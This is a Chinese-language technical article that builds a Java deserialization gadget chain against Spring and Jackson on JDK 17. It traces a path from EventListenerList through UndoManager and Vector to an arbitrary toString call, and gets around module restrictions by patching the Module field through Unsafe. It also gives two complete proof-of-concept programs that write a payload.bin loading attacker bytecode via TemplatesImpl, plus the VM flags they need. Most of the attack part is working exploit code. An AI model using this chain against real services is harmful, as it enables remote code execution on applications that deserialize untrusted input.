高版本 JDK 下的 Spring 原生反序列化链
阅读这篇文章前,推荐先了解JDK8 Jackson 反序列化链
机制介绍
相较于 JDK8,JDK17 下的 Spring 利用链主要受到了一些限制。
首先,BadAttributeValueExpException#readObject 不会触发 toString了。这个我们之后会介绍替代。
接着是比较重量级的部分:从 JDK 9 开始,Java 引入了 JPMS(Java Platform Module System,模块系统)。在 JDK 17 里,这一机制变得更为强大,具体体现为:
- JDK 内部包(
sun.*,jdk.internal.*)默认完全不可访问 - 如果一个类位于 JDK 的模块内,且该模块没有显式地
opens该包,当你尝试对它的私有成员调用setAccessible(true)时,JVM 会直接抛出InaccessibleObjectException异常。 - 如果一个类位于 JDK 的模块内,且该模块没有显式地
exports该包,你甚至不会找到这个类,会抛出ClassNotFoundException或IllegalAccessError。
新的 readObject to toString
这个类是 EventListenerList,它调用的不是显式的 toString 方法,而是利用字符串与对象的拼接触发 toString。
javax.swing.event.EventListenerList#readObject:
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
listenerList = NULL_ARRAY;
s.defaultReadObject();
Object listenerTypeOrNull;
while (null != (listenerTypeOrNull = s.readObject())) {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
EventListener l = (EventListener)s.readObject();
String name = (String) listenerTypeOrNull;
ReflectUtil.checkPackageAccess(name);
@SuppressWarnings("unchecked")
Class<EventListener> tmp = (Class<EventListener>)Class.forName(name, true, cl);
add(tmp, l);
}
}
可以发现这里我们需要一个能够强制转换为 EventListener 类型,并且实现 Serializable 接口的类。
这个类是 UndoManager,它实现了 UndoableEditListener 接口,同时继承了 CompoundEdit 类。
public class UndoManager extends CompoundEdit implements UndoableEditListener {
//...
}
而 UndoableEditListener 接口又继承了 EventListener 类。
public interface UndoableEditListener extends java.util.EventListener {
//...
}
同时 CompoundEdit 类继承了 AbstractUndoableEdit 类,这个类继承了 Serializable 接口。
public class CompoundEdit extends AbstractUndoableEdit {
//...
}
public class AbstractUndoableEdit implements UndoableEdit, Serializable {
//...
}
简直是完美的类。我们跟进 add 方法。这里的 l 是我们的 UndoManager 对象。这里判断了 l 是不是 java.lang.Class 类型,不是的话就会进入字符串拼接。
javax.swing.event.EventListenerList#add:
public synchronized <T extends EventListener> void add(Class<T> t, T l) {
if (l==null) {
// In an ideal world, we would do an assertion here
// to help developers know they are probably doing
// something wrong
return;
}
if (!t.isInstance(l)) {
throw new IllegalArgumentException("Listener " + l +
" is not of type " + t);
}
if (listenerList == NULL_ARRAY) {
// if this is the first listener added,
// initialize the lists
listenerList = new Object[] { t, l };
} else {
// Otherwise copy the array and add the new listener
int i = listenerList.length;
Object[] tmp = new Object[i+2];
System.arraycopy(listenerList, 0, tmp, 0, i);
tmp[i] = t;
tmp[i+1] = l;
listenerList = tmp;
}
}
UndoManager#toString 显然没什么可利用的,跟进父类的 toString。
javax.swing.undo.UndoManager#toString:
public String toString() {
return super.toString() + " limit: " + limit +
" indexOfNextAdd: " + indexOfNextAdd;
}
这个方法粗看起来没什么特别的,仔细观察发现 edits 的类型是 vector,出现了新的 toString 方法。
javax.swing.undo.CompoundEdit#toString:
public String toString()
{
return super.toString()
+ " inProgress: " + inProgress
+ " edits: " + edits;
}
这里也没什么,跟进父类。
java.util.Vector#toString
public synchronized String toString() {
return super.toString();
}
AbstractCollection#toString 这里有一些不一样的发现,这个方法新建了一个迭代器,把对象传递给 StringBuilder.append 方法,我们可以通过 Vector.add 方法把恶意类添加进去。
java.util.AbstractCollection#toString:
public String toString() {
Iterator<E> it = iterator();
if (! it.hasNext())
return "[]";
StringBuilder sb = new StringBuilder();
sb.append('[');
for (;;) {
E e = it.next();
sb.append(e == this ? "(this Collection)" : e);
if (! it.hasNext())
return sb.append(']').toString();
sb.append(',').append(' ');
}
}
跟进一下 StringBuilder#append 方法。
java.lang.StringBuilder#append(java.lang.Object):
@Override
public StringBuilder append(Object obj) {
return append(String.valueOf(obj));
}
继续跟进 valueOf 方法。这里就是我们的任意 toString 了。
java.lang.String#valueOf(java.lang.Object):
public static String valueOf(Object obj) {
return (obj == null) ? "null" : obj.toString();
}
最后要注意的是构造序列化对象时,要注意 EventListenerList#writeObject 的实现。列表里的第二个对象才会被我们想要的方法 s.writeObject(l) 写入,所以序列化时我们需要随便加一个对象在前面。
javax.swing.event.EventListenerList#writeObject:
@Serial
private void writeObject(ObjectOutputStream s) throws IOException {
Object[] lList = listenerList;
s.defaultWriteObject();
// Save the non-null event listeners:
for (int i = 0; i < lList.length; i+=2) {
Class<?> t = (Class)lList[i];
EventListener l = (EventListener)lList[i+1];
if ((l!=null) && (l instanceof Serializable)) {
s.writeObject(t.getName());
s.writeObject(l);
}
}
s.writeObject(null);
}
不得不感叹,实在是很巧妙的一条链。在 JDK8 测试一下吧!
POC:
package org.burger;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Vector;
@SuppressWarnings({ "rawtypes", "unchecked" })
public class Poc {
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception e) {
return;
}
byte[] code = Files.readAllBytes(Paths.get("Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { code });
setFieldValue(templates, "_name", "Burger King");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
AdvisedSupport support = new AdvisedSupport();
support.setTarget(templates);
Class<?> proxyClass = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> constructor = proxyClass.getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
Templates proxy = (Templates) Proxy.newProxyInstance(
Templates.class.getClassLoader(),
new Class[]{Templates.class},
handler
);
POJONode jsonNode = new POJONode(proxy);
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
Field f = undomanager.getClass().getSuperclass().getDeclaredField("edits");
f.setAccessible(true);
Vector vector = (Vector) f.get(undomanager);
vector.add(jsonNode);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(list);
oos.close();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
绕过模块化
绕过模块化的核心其实就是使用 Unsafe 篡改 Module 机制。Unsafe 是 Java 中用于直接操作内存的类,它不会经过任何 JVM 安全检查,不会被 private 或者 final 字段限制,不会受模块限制,只关心内存地址(偏移量)。
而模块化的特征就是每一个 java.lang.Class 对象都会有一个名为 module 的字段(类型为 java.lang.Module)。这个字段定义了当前这个类属于哪个模块,是 JVM 权限检查的依据。
我们要做的事情就是利用 Unsafe 类修改自己的攻击类的 module 字段到 java.base ,这样一来我们在攻击类里就可以随意反射 java.base 里的其他私有成员了。(这里先欠一篇分析)
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Poc.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
现在解决了反射的问题,但模块化带来了另一个问题:我们的恶意类现在不能继承 AbstractTranslet 了。要解决这个问题,我们需要先知道 AbstractTranslet 类如何影响恶意字节码的加载。相关分析在 CC3 那篇文章有写,这里就接着那一段分析了。
private void defineTransletClasses()
throws TransformerConfigurationException {
//...
try {
//...
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
//...
}
可以看到,当遍历到一个父类为 AbstractTranslet 的 _bytecodes 元素时,_transletIndex会被设置为该元素在数组内的下标。那解决办法也很简单,利用反射手动设置 _transletIndex 不小于 0 就好了。同时这里会调用 _auxClasses.put,那这就必须实例化一个,可以看到 classCount > 1 即可,也就是传入字节码的时候加一个没什么用的就好。
剩下还有一些东西需要强调。在前文写 Jackson 序列化时我提到代理是为了解决获取 getter 顺序问题,但在这里代理还有一个作用。如果我们直接向 POJONode 传入 TemplatesImpl 对象,由于 com.sun.org.apache.xalan.internal.xsltc.trax 这个包没 export ,是无法访问的。而 javax.xml.transform.Templates 是个公开 exports 接口,所以可以正常反序列化。
那让我们写出 JDK17 Spring 原生反序列化 POC:
package org.burger;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Vector;
@SuppressWarnings({"rawtypes", "unchecked", "CallToPrintStackTrace"})
public class Poc {
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception e) {
return;
}
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Poc.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
byte[] code = Files.readAllBytes(Paths.get("Evil.class"));
byte[] uselessCode = ClassPool.getDefault().makeClass("Burger").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { code, uselessCode });
setFieldValue(templates, "_name", "Burger King");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_transletIndex",0);
AdvisedSupport support = new AdvisedSupport();
support.setTarget(templates);
Class<?> proxyClass = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> constructor = proxyClass.getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
Templates proxy = (Templates) Proxy.newProxyInstance(
Templates.class.getClassLoader(),
new Class[]{Templates.class},
handler
);
POJONode jsonNode = new POJONode(proxy);
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
Field f = undomanager.getClass().getSuperclass().getDeclaredField("edits");
f.setAccessible(true);
Vector vector = (Vector) f.get(undomanager);
vector.add(jsonNode);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(list);
oos.close();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
注意:在生成 Payload 的时候你应当加上如下的 VM 配置:
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
然后反序列化即可,Enjoy!
